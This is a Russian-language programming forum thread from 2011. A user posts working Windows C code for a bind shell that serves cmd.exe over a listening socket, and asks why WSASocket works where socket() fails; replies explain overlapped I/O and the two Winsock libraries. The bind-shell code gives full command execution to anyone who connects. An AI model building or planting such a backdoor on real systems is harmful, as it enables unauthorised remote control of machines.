socket и WSASocket в чём различие?

Тема в разделе "WASM.NETWORKS", создана пользователем Aids, 29 янв 2011.

  1. Aids

    Aids New Member

    Публикаций:
    0
    Регистрация:
    30 ноя 2007
    Сообщения:
    275
    писал bind shell. И вместо WSASocket использовал socket.
    Код (Text):
    1.     WSADATA wsadata;
    2.     WSAStartup(2,&wsadata);
    3.     SOCKET hSocket=WSASocket(2,1,0,0,0,0);//socket(AF_INET,SOCK_STREAM,0);
    4.     sockaddr_in sa;
    5.     memset(&sa,0,sizeof(sa));
    6.     sa.sin_port=htons(PortTelnet);
    7.     sa.sin_family=AF_INET;
    8.     bind(hSocket,(sockaddr*)&sa,sizeof(sa));   
    9.     listen(hSocket,2);
    10.     sockaddr a;
    11.     int addrlen;
    12.     SOCKET hS=accept(hSocket,0,0);
    13.     STARTUPINFOA si;
    14.     PROCESS_INFORMATION pi;
    15.     memset(&pi,0,sizeof(pi));
    16.     memset(&si,0,sizeof(si));
    17.     si.cb=sizeof(si);
    18.     si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    19.     si.hStdInput=(void*)hS;
    20.     si.hStdOutput=(void*)hS;
    21.     si.hStdError=(void*)hS;
    22.     CreateProcess(0,"cmd.exe",0,0,TRUE, 0,0,0,&si,&pi);
    23.     WaitForSingleObject(pi.hProcess, INFINITE);
    24.     closesocket(hS);
    25.     closesocket(hSocket);
    26.     WSACleanup();
    я весь вечер просидел. пока не нашёл в чём проблема. Объясните в чём разница между этими сокетами?
     
  2. Kaimi

    Kaimi Андрей

    Публикаций:
    0
    Регистрация:
    15 апр 2010
    Сообщения:
    120
    В мсдне же написано, секция Remarks
    http://msdn.microsoft.com/en-us/library/ms740506%28v=VS.85%29.aspx
     
  3. Aids

    Aids New Member

    Публикаций:
    0
    Регистрация:
    30 ноя 2007
    Сообщения:
    275
    Kaimi
    у меня просто не очень хорошо с английским. На сколько я понимаю socket создаётся со стандартным вводом выводом, это определено по умолчанию. А у WSASocket за это отвечает флаг dwFlags
     
  4. Kaimi

    Kaimi Андрей

    Публикаций:
    0
    Регистрация:
    15 апр 2010
    Сообщения:
    120
    If a socket is created without the overlapped I/O attribute (WSA_FLAG_OVERLAPPED), all I/O operations on the socket are synchronous. So if your program has set socket options SO_SNDTIMEO and SO_RCVTIMEO, you need to make sure your socket is created with the overlapped I/O attribute to timeout your blocking send or receive operations.

    В общем флаг, который по-умолчанию выставляется при использовании socket, включает возможность одновременного выполнения нескольких операций на одном сокете.
     
  5. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    при создании WSASocket (библиотека ws2_32.dll Winsock2.h) сокет можно назначить как стандартный хэндл ввода вывода, также вторые сокеты полнстью управляемы событиями.
    ф-я Socket это первые сокеты либа wsock32.dll у они лишены этого